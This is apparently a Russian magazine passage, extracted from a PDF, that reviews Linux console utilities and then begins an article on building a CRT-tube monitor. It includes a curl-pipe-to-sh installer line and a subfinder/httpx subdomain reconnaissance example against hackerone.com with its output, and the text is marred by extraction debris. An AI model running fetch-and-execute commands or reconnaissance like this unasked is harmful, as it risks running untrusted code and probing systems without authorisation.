•d — перейти по пути.
Само собой, это лишь малая часть команд. Полный список есть в README репозитория .
Установить Goful можно одним из двух способов . Первый — просто ска чать и запустить бинарный релиз из репозитория на GitHub. Для второго понадобит ся установ ленный на твоей машине Go:
go install github.com/anmitsu/goful@latest0
Goful и так выглядит неплохо , но можно его еще и кастомизи ровать : менять управление , цвета , интерпре татор встроенной командной строки , редакторы и просмот рщи ки . Конфигура цион ного файла нет, вместо этого предлага ется править main.go, после чего переуста новить командой go install.
Nnn
Nnn
Nnn — это один из самых минималис тичных консоль ных файловых менед жеров. Его главное преиму щество — простота и нетребова тельность, хотя последнее в мире домашних компьюте ров с 32 Гбайт оператив ки стало неак туально .
В Ubuntu ты можешь установить nnn прямо из репозитория :
sudo apt install nnn0
Теперь когда угодно пиши nnn, и можешь лететь по каталогам с ветерком ! Встроенную справку в любой момент можно открыть, нажав знак вопроса .
Ncdu
Ncdu (NCurses Disk Usage) — это прокачан ная версия du, которая показывает занятое место в красивом псевдогра фическом интерфейсе .
С ncdu ты можешь не только смотреть , сколько занимают файлы в каком то каталоге , но и легко перемещать ся между ними, а если решишь удалить что то ненужное , то достаточ но будет нажать кнопку d. Естествен но,
по случай ному нажатию программа ничего не удалит — в нее встроен новей ший телепатичес кий анализа тор , который проверит твои намерения , зап росив подтвержде ние .
Установ ка проста как два рубля :
sudo apt install ncdu0
При запуске ncdu просканиру ет текущую папку и выдаст результаты . Путь для сканиро вания можно указать первым аргумен том :
ncdu /0
Утилита работает с впечат ляющей скоростью , чем немало радует .
Diffoscope
Когда обычного diff мало, может пригодить ся difoscope. Кроме тексто вых файлов , эта штукови на умеет сравнивать папки , архивы , бинарники , ISOобразы , PDF-документы и кучу всего еще — поддержи вается около 70 типов файлов . Полный список доступен в выводе diffoscope -h.
Difoscope сравнива ет бинарники
Установ ка на Debian и Ubuntu делается одной командой :
sudo apt install diffoscope0
Правда , при такой установ ке на чистую Ubuntu скачалось 1124 пакета сум марным объемом около полутора гигабайт, потому что в зависимос тях есть Python, Java и X-сервер . Зачем это консоль ной утилите — неизвес тно.
Есть версия для Docker:
docker run --rm -t -w $(pwd) -v $(pwd):$(pwd):ro registry.salsa.
debian.org/reproducible-builds/diffoscope0
А еще есть версия difoscope для браузе ра — try.difoscope.org (на скриншоте именно она).
Eget
Eget — это классная утилита , с помощью которой можно устанав ливать софт из репозитори ев GitHub, где авторы размести ли релизы с бинарниками .
Если бы eget можно было установить с помощью eget, то достаточ но было бы написать
eget zyedidia/eget0
Если же eget у тебя еще нет, придет ся восполь зовать ся готовым релизом или скриптом установ щиком :
curl https://zyedidia.github.io/eget.sh | sh0
СЕТЬ
Wireproxy
Если тебе нужно использовать Wireguard, но по каким то причинам не хочется поднимать полноцен ный клиент , обрати внимание на wireproxy. Он подклю чается к пиру по протоко лу Wireguard, но не создает новый сетевой интерфейс, а поднима ет SOCKS5-прокси , который ты можешь указывать
в своих программах .
Установ ка сводит ся к трем строчкам в терминале :
git clone https://github.com/octeep/wireproxy0
cd wireproxy0
go build ./cmd/wireproxy0
Если же у тебя нет Go — не беда, просто скачай собранный релиз . Запуск требует всего одного параметра :
./wireproxy -c <config file>0
Конфиг — стандар тный для Wireguard, но в него нужно добавить две секции (коммента рии оставил для ясности):
#TCPServerTunnel is a tunnel listening on wireguard,
#and it forwards any TCP traffic received to the specified target via local network.
#Flow:
#<an app on your wireguard network> --(wireguard)--> 172.16.31.2: 3422 --> localhost:25545
[TCPServerTunnel] ListenPort = 3422
Target = localhost:25545
#SOCKS5 creates a SOCKS5 proxy on your LAN, and all traffic would be routed via wireguard.
[Socks5]
BindAddress = 127.0.0.1:25344
#SOCKS5 authentication parameters, specifying username and password enables
#proxy authentication.
Username = ...
# Avoid using spaces in the password field
Password = ...
Более подробно про wireproxy читай в репози тории проекта .
Ssh-tools
Ssh-tools — это небольшой набор утилит для тех, кто много работает по SSH. Самыми полезными из них кажутся эти:
•ssh-ping — пропин говать SSH-сервис (не машину, а именно демон
SSH);
•ssh-diff — сравнить файлы на разных машинах;
•ssh-facts — немного информации об удален ной системе ;
•ssh-force-password — пропус тить авториза цию по ключу и залогинить ся по паролю (если сервер позволя ет);
•ssh-keyinfo — информация о ключах .
Все утилиты из этого набора парсят ~/.ssh/config, так что можно исполь зовать уже настро енные имена хостов оттуда .
Набор есть в репозитори ях всех популярных дистри бутивов — можешь просто ставить пакет ssh-tools.
Nala
Nala — это классный интерфейс для APT. Умеет все, что может стандар тный apt, а кроме этого , поддержи вает историю и качает пакеты параллель но .
Вштатных репозитори ях nala пока нет, но можно подклю чить сторон ний
иустановить оттуда :
echo "deb http://deb.volian.org/volian/ scar main" | sudo tee /etc/
apt/sources.list.d/volian-archive-scar-unstable.list0
wget -qO - https://deb.volian.org/volian/scar.key | sudo tee /etc/
apt/trusted.gpg.d/volian-archive-scar-unstable.gpg > /dev/null0
sudo apt install nala0
После этого достаточ но вместо apt просто вызывать nala (nala install nmap, например ).
Iptables-tracer
С помощью iptables-tracer можно посмотреть , проходит ли трафик через нуж ные нам цепочки iptables. Делает он это, вставляя в каждую цепочку спе циальные правила маркеры (-j NFLOG), которые будут срабаты вать при про хождении пакета через цепочку .
Выглядит это так:
0 |
|
|
|
|
$ iptables-tracer -f "-s 192.0.2.1 -p tcp --dport 443" -t 30s0 |
|
|||
14:42:00.284882 |
raw |
PREROUTING |
0x00000000 IP 192.0.2.1.36028 > |
|
203.0.45.41.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
|
||
[In:eth0 Out:]0 |
|
|
|
|
14:42:00.287255 |
mangle |
PREROUTING |
0x00008000 IP 192.0.2.1.36028 > |
|
203.0.45.41.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
|
||
[In:eth0 Out:]0 |
|
|
|
|
14:42:00.288966 |
nat |
PREROUTING |
0x00008000 IP 192.0.2.1.36028 > |
|
203.0.45.41.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
|
||
[In:eth0 Out:]0 |
|
|
|
|
14:42:00.290545 |
mangle |
FORWARD |
0x00008000 IP 192.0.2.1.36028 > |
|
198.2.100.8.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
|
||
[In:eth0 Out:eth1]0 |
|
|
|
|
14:42:00.292123 |
filter |
FORWARD |
0x00008002 IP 192.0.2.1.36028 > |
|
198.2.100.8.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
|
||
[In:eth0 Out:eth1]0 |
|
|
|
|
14:42:00.293164 |
mangle |
POSTROUTING |
0x00008002 IP 192.0.2.1.36028 > |
|
198.2.100.8.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
[In: |
||
Out:eth1]0 |
|
|
|
|
14:42:00.293780 |
nat |
POSTROUTING |
0x00008002 IP 192.0.2.1.36028 > |
|
198.2.100.8.443: Flags |
[S], seq 3964691400, win 29200, length 0 |
[In: |
||
Out:eth1] |
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
Для установ ки нужен Git и Go. Ставим :
git clone https://github.com/x-way/iptables-tracer0
cd ./iptables-tracer/0
go build0
Запус каем :
./iptables-tracer -f "-s 1.3.5.7 -p tcp --dport 22" -t 90s0
Параметр -f позволя ет фильтро вать , какой именно трафик нужно отоб ражать, согласно синтакси су iptables, а -t задает время работы, после которого трассиров ка прекратит ся .
Важно помнить , что после останов ки трассиров ки созданные в iptables служеб ные правила не удаляют ся , так что потом их нужно удалить такой командой :
./iptables-tracer -c
А ты знал, что с Nftables трассиров ка правил дос тупна «из коробки »? Мы уже писали об этом под робнее в статье «Nftables. Разбира ем преиму щества перехода с iptables на новый файрвол ». Если много работаешь с файрво лом — обязатель но ознакомь ся !
Продолжение статьи0 →

|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ТРЮКИ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
СОБИРАЕМ УТИЛИТЫ, КОТОРЫЕ ОБЛЕГЧАТ ЖИЗНЬ И РАБОТУ
ГРАФИКА
Picocrypt
Picocrypt — простая , но мощная тулза для шифрования файлов . К сожалению , поставля ется только с графичес ким интерфейсом , но вряд ли это будет боль шой проблемой .
Picocrypt умеет не только шифровать , но и генерить надежные пароли
иредактировать метаданные файлов . Если хочется , можно эти метаданные даже полностью удалить , но идея направить потенциаль ных рассле дователей по ложному следу выглядит более интерес но.
ВREADME автор расхва ливает свое творение как чуть ли не лучшее решение для шифрования чего угодно : тут у нас и открытые исходники ,
ималенький размер , и современ ный алгоритм , и даже защита от поврежде ния данных . Полную сравнитель ную таблицу можно почитать ниже или в
репозитории проекта .
Сравнение ПО для шифрования файлов от автора Picocrypt
Установ ка в Windows сводит ся к скачива нию собранно го бинарника со стра ницы релизов, а в Linux ставит ся через Snap:
snap install picocrypt0
Если Snap нет, сначала нужно установить его (sudo apt install snapd).
Dockeye
Если тебе вдруг потребовал ся UI для Docker, попробуй dockeye. Это гра фический клиент для управления Docker, который выглядит почти непохоже на другие подобные инстру менты.
Демо из репозитория
Есть сборки для Linux и macOS. Скачать их можно со страницы релизов.
Sysmontask
Если ты соскучил ся по виндовому диспетче ру задач, то с sysmontask ты будешь в Linux как дома!
Где то мы это уже видели
Думаю , о том, что он делает , расска зывать не имеет смысла , так что давай просто установим и ты сам все проверишь :
sudo add-apt-repository ppa:camel-neeraj/sysmontask0
sudo apt install sysmontask0
// Выполнить только на Ubuntu <=20.040
sudo pip3 install -U psutil0
Первый запуск автор рекомендует проводить из консоли командой sysmontask.
Neofetch
Neofetch
Neofetch — это програм мка , которая наглядно и красиво выводит статис тику о твоем компьюте ре . Она покажет используемый дистри бутив (с большим
логотипом !), версию ядра, информацию об объеме памяти и процес соре , оболоч ку , окружение рабочего стола (если оно есть), оконный менеджер , активную тему оформле ния и многое другое .
Neofetch есть в репозитории Ubuntu:
sudo apt install neofetch0
Если ты тоже пользуешь ся WSL, можешь поставить аналогич ную программу wslfetch, которая поставля ется в составе дистри бутивов, собранных
в Microsoft. Ее вывод выглядит чуть по другому , и работает она заметно мед леннее, но не расска зать о предус тановленном аналоге я не могу.
Wslfetch
TTYgames
Самая важная часть этой статьи — коллекция консоль ных игр. Хотя и выглядит это в XXI веке как анахронизм , но почему нет? Возможно , эти развле чения
даже не заметят на работе. Выход этой статьи был отложен как раз потому, что я нашел прекрасный тетрис (на картинке ) и не мог оторвать ся.
Petris
ДЛЯ СКРИПТОВ
HttpX
HttpX — это многоце левой инстру мент для автомати зации работы с HTTP. С его помощью удобно искать HTTP-серверы в результатах сканиро вания , собирать отпечат ки сервисов и исследовать подсети при пентесте .
Особен но удобно комбиниро вать httpX с другими инстру ментами.
0
subfinder -d hackerone.com -silent| httpx -title -tech-detect -status-
code |
|
|
0 |
|
|
__ |
__ __ |
_ __0 |
/ /_ / /_/ /_____ | |/ /0
/ __ \/ __/ __/ |
__ \| |
/0 |
/ / / / /_/ /_/ /_/ / |
|0 |
|
/_/ /_/\__/\__/ |
.___/_/|_|0 |
|
/_/ |
v1.1.1 |
|
0 |
|
|
projectdiscovery.io0
Use with caution. You are responsible for your actions0
Developers assume no liability and are not responsible for any misuse or damage.0
https://mta-sts.managed.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]0 https://mta-sts.hackerone.com [404] [Page not found · GitHub Pages] [Varnish,GitHub Pages,Ruby on Rails]0 https://mta-sts.forwarding.hackerone.com [404] [Page not found · GitHub Pages] [GitHub Pages,Ruby on Rails,Varnish]0
https://docs.hackerone.com [200] [HackerOne Platform Documentation] [Ruby on Rails,jsDelivr,Gatsby,React,webpack,Varnish,GitHub Pages]0 https://support.hackerone.com [301,302,301,200] [HackerOne] [Cloudflare,Ruby on Rails,Ruby]0
https://resources.hackerone.com [301,301,404] [Sorry, no Folders found.] 0
Установить программу из исходников мне не удалось из за проблем с Go, но eget без труда подтянул бинар ный релиз, который, конечно , можно ска чать и вручную .
Флагов у программы очень много , но разбирать ся с ними я тебе пред лагаю самостоятель но — они узкоспецифи ческие, и каждый из них хорошо описан в справке .
Xj
Тем, кто пытался работать с HTML из shell-скриптов , знакома боль от попыток парсинга с помощью регулярок . Для вас существу ет xj — утилита , которая конверти рует HTML-страницу в JSON для дальнейшей обработ ки. Обрабаты вать JSON из скриптов очень удобно с помощью jq:
$ wget -qO- https://stedolan.github.io/jq/ | xj | jq '..|select(.
title?)[][]'
"jq"
Прекрасная |
вещь для простых |
парсеров |
, когда по каким то причинам |
|
не хочется программи |
ровать. |
|
|
Topalias
Topalias генерирует алиасы для команд, которыми ты чаще всего пользовал ся. Утилита показывает статис тику, предлага ет сокращения и показывает , как их зарегистри ровать.
На скрине выше видна очевид ная |
проблема |
: утилита |
понятия не имеет , что |
||||||||||||||||||||||
у некоторых |
предлага |
емых |
ей алиасов |
те же имена , что и у установ ленных |
|||||||||||||||||||||
в системе |
|
программ |
, в том числе системных |
. Например |
, для команды cd |
||||||||||||||||||||
pbsbot предложен |
алиас cp, после примене |
ния |
которого ты не сможешь |
||||||||||||||||||||||
копировать |
файлы . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
И еще одна неприят |
ность |
— это битая зависимость |
при установ ке . Уста |
||||||||||||||||||||||
навливать |
предлага |
ется |
следующим |
образом |
: |
|
|
|
|
|
|
|
|
|
|
||||||||||
pip3 install -U --user topalias0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
||||||||||||||||||
Но при попытке запуска |
утилита |
незамедлитель |
но |
|
крашнется |
, ругаясь |
|||||||||||||||||||
на непонятную |
ошибку |
и |
не давая даже |
посмотреть |
справку . |
Починить |
это можно установ кой более старой версии пакета click:
pip3 install -U --user click==7.1.20
Только после этого все заработает нормаль но .
ПРОЧЕЕ
Jrnl
Для постоян ных обитате лей терминала существу ет jrnl — консоль ная утилита для заметок.
Установ ка делается через pipx, и автор утилиты предуп режда ет о воз можных проблемах при неправиль ной установ ке этого пакетного менеджера . Я ставил pipx через APT (хотя автор так делать не рекомендует ) и с проб лемами не столкнул ся , но имей в виду, что они бывают .
Предположим , что «правиль ный» pipx у тебя уже есть. Тогда установ ка делается в одну команду :
pipx install jrnl0
Чтобы запустить jrnl, либо просто передай заметку аргумен том командной строки , либо запусти jrnl и напечатай все в самой утилите — это удобно , если текст заметки длинный .
Можно добавлять к заметкам заголовки , теги, метки времени и даже зашифровать свой журнал .
Файл с заметками — это простой текст, поэтому смотреть его можно самыми разными способа ми. В дополнение к ним в программе есть ключи --short (покажет только заголовки ) и --export text (выведет весь файл журнала ).
Мой маленький дневник
Утилита хоть и выглядит минималис тичной , но в реальнос ти возможнос тей немало. Их подробное описание ты найдешь на сайте разработ чика .
Уведомления с Android на Linux
Android2Linux Notifcations — это способ показать уведом ления из Android
на настоль ном Linux с помощью libnotify.
И компьютер , и телефон должны находиться в одной сети, так как между ними устанав лива ется прямое соединение при каждом новом уведом лении . Но никто не запреща ет создать эту связь удален но при помощи VPN-туннеля вроде Wireguard.
Устанав ливается сначала сервер на компьюте ре, а затем приложе ние на телефоне . Сервер устанав ливается следующи ми командами :
git clone https://github.com/patri9ck/a2ln-server.git0
cd a2ln-server0
sudo make install
Если возникнут проблемы , установи зависимос ти через pip — список лежит в requirements.txt.
После этого можно запустить сервер командой a2ln 50505, чтобы слу шать на 50505-м порте . Конечно , ты можешь его поменять по своему усмотрению , но помни , что порты ниже 1024-го требуют прав root. А еще не забудь закинуть старт сервера в автозаг рузку любым удобным способом , чтобы уведом ления продол жили приходить после перезагрузки машины, если ты ее вообще перезагружа ешь .
На телефоне нужно скачать из F-Droid приложе ние клиент и вбить в него IP и порт, на котором слушает серверная часть. Если ты счастли вый обладатель Huawei, Samsung, Xiaomi или другого телефона с драконо вым энергосбе режением , то придет ся озаботить ся внесени ем приложе ния в белый список , чтобы система его не убивала . Как это сделать — читай на dontkillmyapp.com или в профиль ных ветках форумов.
Linux Journey — интерес ный сервис для прокач ки и провер ки знаний о Linux. Этот бесплат ный гид по Linux мне в свое время мог бы неплохо помочь. Воз можно, пригодит ся тебе или кому то из твоих знакомых !

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
GEEK |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
СОБИРАЕМ МОНИТОР ИЗ ЭЛЕКТРОННО-ЛУЧЕВОЙ ТРУБКИ
Candidum duospirit@gmail.com
Монитор с классичес ким кинескопом сейчас можно отыс кать разве что в музее или на блошином рынке , да и там они попадаются нечасто . Тем интерес нее постро ить такой сво ими руками! В этой статье мы запустим электрон но лучевую трубку , посмотрим на фигуры Лиссажу , выведем текст и изображение . Будет много схемотех ники и кода.
Навер няка все видели часы на электрон но лучевых трубках или экранах осциллографов . После неоновых часов это, наверное , следующая по популярности ламповая заморочка . Обычно , кроме цифербла та и несколь
ких цифр, на него ничего не выводят, и это таки не случай но! Собствен но, о причинах данного явления мы и будем дальше много говорить, а также обсудим те особен ности трубок и схемотех ники, о которых обычно в интерне те не пишут.
Называть радиолам пы трубками , электрон ными трубками , вакуумны ми трубками и клапана ми безгра мот но . Проскакива ют такие названия обычно по вине горе переводчиков , однако в слу чае электрон но лучевых трубок и рентге нов ских трубок название плотно укорени лось и теперь общепринято . Такие дела.
ЭЛЕКТРОННО-ЛУЧЕВАЯ ТРУБКА
Электрон но лучевые трубки , пожалуй, самые сложные радиолам пы в плане устройства и управления . Предназна чены они, как несложно догадаться , для вывода изображения . Здесь и далее мы будем говорить только об осциллографичес ких трубках с электрос татической фокусиров кой и элек тростатичес ким отклонени ем.
Электрон но лучевая трубка
Как все таки работает такая лампа ? Электро ны испускаются катодом, после чего проходят через систему фокусиров ки, которая в простей шем случае состоит из трех электро дов, как на рисунке выше. Первый электрод управляет яркостью, второй фокусиров кой, а третий , ускоряющий , отвечает за астигма тизм. После этого пучок пролета ет через две пары отклоняющих электро дов, отвечающих за горизонталь ное и вертикаль ное отклонение .
Затем электро ны долетают до слоя люминофора и заставля ют его све титься . Если фокусиров ка настро ена, то на экране горит точка , положение которой определя ется напряжени ем на отклоняющих электро дах. Изменяя это напряжение , мы можем выводить изображение . Но это все общие слова , теперь перейдем к конкре тике, о которой обычно не пишут, разве что на тематичес ких форумах.
ВЫБОР ТРУБКИ
Для эксперимен тов я выбрал трубку 6ЛО1И. Мотивирова ла меня ее низкая стоимость (мне этот девайс обошел ся в 400 рублей ) и ее компак тность.
6ЛО1И
Однако уже во время сборки и настрой ки я осознал , насколь ко это плохой выбор, ведь именно из за использования 6ЛО1И я столкнул ся с таким количеством трудностей . А дело в том, что у трубки есть такой показатель , как чувстви тель ность отклоняющей системы . Измеряет ся она в миллимет рах на вольт, и у 6ЛО1И это значение составля ет около 0,15 мм/В, для оси X — чуть меньше , для оси Y — чуть больше . Такая чувстви тель ность крайне низ кая, и для движения луча по горизонтали от левого края экрана до правого нужно порядка 250 В, а по вертикали около 200 В. Это довольно много и тре бует от видеоуси лите ля очень хорошего быстро дей ствия . Собствен но , если посмотреть , что именно выпускала промыш ленность на этих трубках , то ста новится ясно, что это были «показомет ры » с шириной полосы не более нес кольких десятков килогерц, например ОМШ-3М.
Здесь, правда , можно немного схитрить и понизить анодное напряжение на трубке с паспор тного 1200 В до, скажем , 700–1000 В. Яркость при этом
снизит ся, а чувстви тельность отклоняющей системы заметно возрастет , и в данном случае это разумный компро мисс. В общем, советую взять трубку поприлич нее — это сильно упростит ковыряния с видеоуси лителем.0 Но есть у 6ЛО1И и достоинс тва: устройство ее несложное , поэтому и схема питания у нее простая .
ПИТАНИЕ И ОБВЯЗКА ТРУБКИ
Перед тем как изобретать свой велосипед , неплохо бы ознакомить ся с уже изобретен ными варианта ми . По уму, конечно , стоило бы собрать для анод ного напряжения импульсник со стабили заци ей . Но посколь ку для накала нужно 6,3 В, а в осциллографичес ких трубках большая часть высокого нап ряжения подается на катод, то есть потенциал катода около –900 В, источник питания накала должен быть надежно изолиро ван от массы . Проще всего провер нуть этот финт, используя накальную обмотку.
А раз уж нужна накальная обмотка, значит , трансфор матор будет содер жать и анодную обмотку, поэтому высокое напряжение можно получить умно жителем . Как говорится , 1000 В — это всего лишь три раза по 330 В. Поэто му, вдохновив шись проектом простого осциллографа на 6ЛО1И, я раз работал свою схему , в которой от исходной остался только концепт .
|
Разность |
потенциалов |
между положитель ным |
|||||
|
и отрицатель |
ным |
плечами |
источника питания |
||||
|
превыша |
ет |
1000 |
В! Удар |
таким напряжени |
ем |
смертель но опасен , а кроме того, это очень боль но. Поэтому будь крайне внимате лен и осто рожен! А если нет опыта в работе с высоким нап
ряжением , возможно |
, лучше и не связывать |
ся |
|
с этим блоком питания. Я предуп редил |
. |
|
|
|
|
|
|
|
|
|
|
Схема блока питания и обвязки 6ЛО1И |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||
Основой |
блока питания служит |
30-ваттный |
тороидаль |
ный |
трансфор |
матор |
||||||||||||||||||||||||||||||||||||||||||||||||||
с двумя обмотками , накальной |
и анодной . Анодная |
обмотка выдает 235 В, |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
которые поступа ют на выпрямитель |
и умножитель |
. |
Выпрямитель |
применен |
||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||
однополу |
пери |
одный |
, так как он хорошо сочетается |
с умножите |
лем , а токи |
|||||||||||||||||||||||||||||||||||||||||||||||||||
потребле |
ния |
схемы около 0,5 мА. На выходе выпрямите |
ля получаем около |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
+330 В. На выходе умножите |
ля имеем , соответс |
твен |
но , около –660 В, что |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
в сумме дает нам 1000 В — вполне достаточ |
ное |
напряжение |
|
|
для работы |
|||||||||||||||||||||||||||||||||||||||||||||||||||
трубки . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Обрати |
внимание |
на резисторы |
, шунтиру |
ющие |
конденса |
торы |
|
выпрямите |
|
|||||||||||||||||||||||||||||||||||||||||||||||
ля и умножите |
ля : они могут существен |
но продлить |
|
твою жизнь, посколь |
ку кон |
|||||||||||||||||||||||||||||||||||||||||||||||||||
денсаторы |
— штука коварная |
(см. предуп режде |
ние ). Вообще говоря, нес |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
мотря на |
паспор тное |
|
анодное |
|
напряжение |
|
|
1200 В, |
6ЛО1И |
работает |
||||||||||||||||||||||||||||||||||||||||||||||
и от 1000 В, и даже от 500 В. При этом повышается |
|
чувстви тель |
ность |
|
откло |
|||||||||||||||||||||||||||||||||||||||||||||||||||
няющей системы |
и снижает |
ся яркость свечения |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
При 1000 В яркость вполне прилич ная . Обвязка самой 6ЛО1И вполне |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
стандар тная |
, как и в упомяну |
том |
выше проекте |
. Стоит также обратить |
|
вни |
||||||||||||||||||||||||||||||||||||||||||||||||||
мание, что к общему проводу |
подклю чен |
|
не выход выпрямите |
ля , а средняя |
||||||||||||||||||||||||||||||||||||||||||||||||||||
точка делителя на резисторах |
R5/R6. Это нужно , чтобы припод нять |
|
нап |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
ряжение |
на |
|
отклоняющих |
электро дах |
при |
|
использовании |
окончатель |
ного |
|||||||||||||||||||||||||||||||||||||||||||||||
варианта |
видеоуси |
лите |
ля . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Дело в том, что напряжение |
на втором |
аноде (астигматизм |
) должно |
быть |
||||||||||||||||||||||||||||||||||||||||||||||||||||
чуть ниже, чем на отклоняющих |
электро дах . Если напряжение |
|
на них низ |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
ковато, то и на втором |
аноде его придет ся занижать, в результате |
падает |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
яркость, использование |
|
же делителя позволя |
ет обойти эту проблему |
. Да, |
||||||||||||||||||||||||||||||||||||||||||||||||||||
настрой |
ки яркости, фокуса и астигматиз ма влияют |
друг на друга . Если вклю |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
чить устройство |
на этом этапе , после прогрева |
|
|
на экране появится точка , |
||||||||||||||||||||||||||||||||||||||||||||||||||||
которую можно сфокуси |
ровать |
. Сигнал подается |
на отклоняющие |
пластины |
, |
|||||||||||||||||||||||||||||||||||||||||||||||||||
выводы 10, 11 определя |
ют отклонение |
по оси Y, выводы 7, 8 — отклонение |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
по оси X. Теперь перейдем |
к видеоуси |
лите |
лю . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
6ЛО1И с блоком питания и обвязкой
ВИДЕОУСИЛИТЕЛЬ
Одно из лучших решений для постро ения видеоуси лителя — дифферен циальный каскад . При прочих равных такой каскад позволя ет получить в два раза больший размах выходного сигнала , а учитывая , что отклоняющие плас тины симметрич ны, дифферен циальный каскад напрашива ется сам собой. В большинс тве описан ных в интернете конструк ций, выводящих изображение на осциллографичес кую трубку , использует ся простей ший дифферен циаль ный каскад на маломощных высоковоль тных транзисто рах, например как здесь. С него я и начал.
Исходный вариант видеоуси лите ля
Однако это решение неудобно , так как требует дополнитель ного смещения на базу первого транзисто ра , в против ном случае каскад работает в нелиней ном режиме, что совершенно неприем лемо . Хотя если хочется посмотреть фигуры Лиссажу , а в качестве источника сигнала использовать заводской
ГСС, где можно задать смещение в пару вольт относитель но земли , то такое решение вполне рабочее. Избавить ся от необходимос ти внешнего смещения можно , используя двуполяр ное питание, что я и сделал .
Простей ший вариант видеоуси лите ля
Усилитель Y-канала идентичен . Как видишь, здесь появился еще один источник питания — 5 В, это усложняет блок питания, но решает проблему смещения , поэтому на вход можно подавать сигнал непосредс твен но с ЦАПа. Этот вариант усилите ля чрезвычай но прост и подходит для эксперимен тов с трубкой , однако имеет существен ные ограниче ния . И это в первую очередь
